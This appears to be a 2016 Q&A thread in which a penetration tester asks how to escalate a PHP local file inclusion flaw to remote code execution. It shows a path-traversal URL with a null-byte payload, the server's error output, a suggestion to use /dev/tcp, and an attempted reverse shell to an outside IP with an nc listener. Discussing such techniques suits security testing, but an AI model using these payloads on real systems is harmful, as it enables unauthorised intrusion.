During a penetration test, I came across an endpoint which lets me include local files and I can read /etc/passwd
. However I don't have permissions to read proc/self/environ
and /etc/shadow
.
The endpoint looks like:
http://xxxxx/directory/file.php?classes_dir=../../../../var/log/messages%00
(Apache webserver running php on Ubuntu)
The payload above returns the following error message:
Warning: require_once(../../../../var/log/messages) [function.require-once]: failed to open stream: Permission denied in /var/www/classes/file.php on line 4
I can't read log files because I get permission denied
message when I try accessing /var/log/messages
,( because of which log poisoning seems unlikely, in this case.)
The answer to this questions suggest looking into ssh logs, which isn't readable either.
Any ideas how this can be leveraged to RCE?
/dev/tcp/[your IP]/[listening port]
. Also try pulling down other PHP files and look for other vulnerabilities there. – h4ckNinja May 15 '16 at 22:19http://xxxxx/file.php?classes_dir=../../../../dev/tcp/10.x.x.x/9999%00
and listening for reverse shellnc -nlvp 9999
? (That didn't help) – ramailo sathi May 15 '16 at 22:34